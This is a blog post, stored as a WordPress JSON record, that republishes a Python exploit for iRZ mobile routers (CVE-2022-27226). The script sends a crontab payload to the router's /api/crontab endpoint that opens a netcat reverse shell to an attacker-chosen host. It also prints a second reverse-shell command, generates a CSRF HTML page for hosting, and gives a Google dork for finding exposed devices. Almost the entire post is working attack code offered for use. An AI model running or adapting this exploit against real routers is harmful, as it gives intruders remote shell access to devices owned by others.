{"id":22057,"date":"2022-03-22T19:49:12","date_gmt":"2022-03-22T15:49:12","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166396\/irzmr-xsrfexec.txt"},"modified":"2022-03-27T09:41:53","modified_gmt":"2022-03-27T05:11:53","slug":"irz-mobile-router-cross-site-request-forgery-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/irz-mobile-router-cross-site-request-forgery-remote-code-execution\/","title":{"rendered":"iRZ Mobile Router Cross Site Request Forgery \/ Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: iRZ Mobile Router &#8211; CSRF to RCE<br \/>\n# Google Dork: intitle:&#8221;iRZ Mobile Router&#8221;<br \/>\n# Date: 2022-03-18<br \/>\n# Exploit Author: Stephen Chavez &amp; Robert Willis<br \/>\n# Vendor Homepage: https:\/\/en.irz.ru\/<br \/>\n# Software Link: https:\/\/github.com\/SakuraSamuraii\/ez-iRZ<br \/>\n# Version: Routers through 2022-03-16<br \/>\n# Tested on: RU21, RU21w, RL21, RU41, RL01<br \/>\n# CVE : CVE-2022-27226<\/p>\n<p dir=\"ltr\">import os<br \/>\nimport requests<br \/>\nimport json<br \/>\nimport subprocess<\/p>\n<p dir=\"ltr\">option = &#8220;0&#8221;<\/p>\n<p dir=\"ltr\">def main():<br \/>\nprint(&#8220;####################################################&#8221;)<br \/>\nprint(&#8220;# Welcome to IRZ CSRF to RCE Exploit &#8211; version 1.0 #&#8221;)<br \/>\nprint(&#8220;####################################################&#8221;)<br \/>\nprint()<br \/>\nprint(&#8220;## by RedragonX of WHG &amp; rej_ex of SAKURA SAMURAI ##&#8221;)<br \/>\nprint()<br \/>\nprint(&#8220;1. Post Authentication RCE (Needs Credentials)&#8221;)<br \/>\nprint(&#8220;2. CSRF to RCE (No Credentials)&#8221;)<br \/>\nprint()<br \/>\nrunit()<\/p>\n<p dir=\"ltr\">def runit():<br \/>\noption = input(&#8220;Select an option: &#8220;)<br \/>\nif option == &#8220;1&#8221;:<br \/>\nexploit1()<br \/>\nelif option == &#8220;2&#8221;:<br \/>\nexploit2()<br \/>\nelse:<br \/>\nprint(&#8220;You must select &#8216;1&#8217; or &#8216;2&#8217;. Exiting.&#8221;)<\/p>\n<p dir=\"ltr\">def exploit1():<br \/>\nprint(&#8220;## Running Post Auth RCE exploit&#8221;)<br \/>\nprint()<br \/>\nprint()<br \/>\nrouter_ip = input(&#8220;## Enter the router ip to exploit: &#8220;)<br \/>\nrouter_port = int(<br \/>\ninput(&#8220;## Enter the victim router web page port (default is 80): &#8220;) or &#8220;80&#8221;)<\/p>\n<p dir=\"ltr\">router_user = input(&#8220;## Enter the username for the router login: &#8220;)<br \/>\nrouter_pass = input(&#8220;## Enter the password for the router login: &#8220;)<\/p>\n<p dir=\"ltr\">LHOST = input(&#8220;## Enter the LHOST for the router reverse shell: &#8220;)<br \/>\nLPORT = input(&#8220;## Enter the LPORT for the router reverse shell: &#8220;)<\/p>\n<p dir=\"ltr\">router_url = f&#8217;http:\/\/{router_ip}:{router_port}&#8217;<\/p>\n<p dir=\"ltr\">nc1_str = f&#8217;Start a listener with the following command: nc -lvp {LPORT}&#8217;<\/p>\n<p dir=\"ltr\">input(nc1_str + &#8220;\\n\\nPress enter once you do&#8221;)<\/p>\n<p dir=\"ltr\">send_json_payload(router_url, router_user, router_pass, LHOST, LPORT)<\/p>\n<p dir=\"ltr\">def send_json_payload(router_url, router_user, router_pass, lhost_ip, lhost_port):<\/p>\n<p dir=\"ltr\">intro = f&#8217;Sending the payload to {router_url}\\n&#8217;<br \/>\nprint(intro)<br \/>\npayload_str = &#8216;{&#8220;tasks&#8221;:[{&#8220;enable&#8221;:true,&#8221;minutes&#8221;:&#8221;*&#8221;,&#8221;hours&#8221;:&#8221;*&#8221;,&#8221;days&#8221;:&#8221;*&#8221;,&#8221;months&#8221;:&#8221;*&#8221;,&#8221;weekdays&#8221;:&#8221;*&#8221;,&#8221;command&#8221;:&#8221;rm \/tmp\/f;mknod \/tmp\/f p;cat \/tmp\/f|\/bin\/sh -i 2&gt;&amp;1|nc &#8216; + \\<br \/>\nf'{lhost_ip} {lhost_port} &#8216; + \\<br \/>\n&#8216;&gt;\/tmp\/f&#8221;}],&#8221;_board&#8221;:{&#8220;name&#8221;:&#8221;RL21&#8243;,&#8221;platform&#8221;:&#8221;irz_mt02&#8243;,&#8221;time&#8221;:&#8221;Wed Mar 16 16:43:20 UTC 2022&#8243;}}&#8217;<\/p>\n<p dir=\"ltr\">payload_json = json.loads(payload_str)<\/p>\n<p dir=\"ltr\">s = requests.Session()<\/p>\n<p dir=\"ltr\">s.auth = (router_user, router_pass)<\/p>\n<p dir=\"ltr\">s.headers.update(<br \/>\n{&#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/97.0.4692.71 Safari\/537.36&#8221;})<br \/>\ns.headers.update({&#8220;X-Requested-With&#8221;: &#8220;XMLHttpRequest&#8221;})<br \/>\ns.headers.update({&#8220;Origin&#8221;: router_url})<br \/>\ns.headers.update({&#8220;Referer&#8221;: router_url})<\/p>\n<p dir=\"ltr\">s.post(router_url + &#8220;\/api\/crontab&#8221;, json=payload_json)<\/p>\n<p dir=\"ltr\">exploit_str = f&#8217;rm \/tmp\/f;mknod \/tmp\/f p;cat \/tmp\/f|\/bin\/sh -i 2&gt;&amp;1|nc {lhost_ip} 443 &gt;\/tmp\/f&#8217;<\/p>\n<p dir=\"ltr\">print(<br \/>\n&#8220;Request sent! You may have to wait about 2 minutes to get a shell. \\nFirst shell will die due to crontab job. Start a new listener on a new port [e.g. 443], and run the following command: &#8221; + exploit_str)<br \/>\nprint(&#8220;To fix TTY: type telnet 0.0.0.0 in the shell&#8221;)<\/p>\n<p dir=\"ltr\">def exploit2():<\/p>\n<p dir=\"ltr\">print(&#8220;## Running CSRF to RCE exploit&#8221;)<br \/>\nprint()<br \/>\nprint()<br \/>\nrouter_ip = input(&#8220;## Enter the router ip to exploit: &#8220;)<br \/>\nrouter_port = int(<br \/>\ninput(&#8220;## Enter the victim router web page port (default is 80): &#8220;) or &#8220;80&#8221;)<\/p>\n<p dir=\"ltr\">LHOST = input(&#8220;## Enter the LHOST for the router reverse shell: &#8220;)<br \/>\nLPORT = input(&#8220;## Enter the LPORT for the router reverse shell: &#8220;)<\/p>\n<p dir=\"ltr\">load_csrf_poc_file(router_ip, router_port, LHOST, LPORT)<\/p>\n<p dir=\"ltr\">def load_csrf_poc_file(router_ip, router_port, lhost_ip, lhost_port):<\/p>\n<p dir=\"ltr\">file_path = os.path.dirname(__file__) + os.sep + &#8220;poc.template.html&#8221;<\/p>\n<p dir=\"ltr\">if os.path.isfile(file_path):<br \/>\nwith open(file_path) as poc_file:<br \/>\noriginal_poc_data_str = poc_file.read()<\/p>\n<p dir=\"ltr\">new_html = original_poc_data_str.replace(&#8220;{router_ip}&#8221;, router_ip)<br \/>\nnew_html = new_html.replace(<br \/>\n&#8220;{router_port}&#8221;, str(router_port))<\/p>\n<p dir=\"ltr\">lhost_split_arr = lhost_ip.split(&#8220;.&#8221;)<\/p>\n<p dir=\"ltr\">if len(lhost_split_arr) == 4:<\/p>\n<p dir=\"ltr\">new_html = new_html.replace(<br \/>\n&#8220;{lhost_ip_octect_1}&#8221;, lhost_split_arr[0])<\/p>\n<p dir=\"ltr\">new_html = new_html.replace(<br \/>\n&#8220;{lhost_ip_octect_2}&#8221;, lhost_split_arr[1])<\/p>\n<p dir=\"ltr\">new_html = new_html.replace(<br \/>\n&#8220;{lhost_ip_octect_3}&#8221;, lhost_split_arr[2])<br \/>\nnew_html = new_html.replace(<br \/>\n&#8220;{lhost_ip_octect_4}&#8221;, lhost_split_arr[3])<\/p>\n<p dir=\"ltr\">new_html = new_html.replace(<br \/>\n&#8220;{lhost_port}&#8221;, lhost_port)<\/p>\n<p dir=\"ltr\">new_file_path = os.path.dirname(<br \/>\n__file__) + os.sep + &#8220;poc.new.html&#8221;<br \/>\ntry:<br \/>\nwith open(new_file_path, &#8216;w&#8217;) as new_file:<br \/>\nnew_file.write(new_html)<\/p>\n<p dir=\"ltr\">print()<br \/>\nprint(<br \/>\nf&#8217;New file written to {new_file_path}. Host this file&#8217;)<br \/>\nexcept FileNotFoundError:<br \/>\nprint(&#8220;You had an error writing to the file, doesn&#8217;t exist.&#8221;)<br \/>\nelse:<br \/>\nprint(f'{lhost_ip} is not a proper IPV4 address.&#8217;)<\/p>\n<p dir=\"ltr\">else:<br \/>\nprint(f'{file_path} not found&#8217;)<\/p>\n<p dir=\"ltr\">main()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: iRZ Mobile Router &#8211; CSRF to RCE # Google Dork: intitle:&#8221;iRZ Mobile Router&#8221; # Date: 2022-03-18 # Exploit Author: Stephen Chavez &amp; Robert Willis # Vendor Homepage: https:\/\/en.irz.ru\/ # Software Link: https:\/\/github.com\/SakuraSamuraii\/ez-iRZ # Version: Routers through 2022-03-16 # Tested on: RU21, RU21w, RL21, RU41, RL01 # CVE : CVE-2022-27226 import os import &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-22057","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/22057","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=22057"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/22057\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=22057"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=22057"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=22057"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}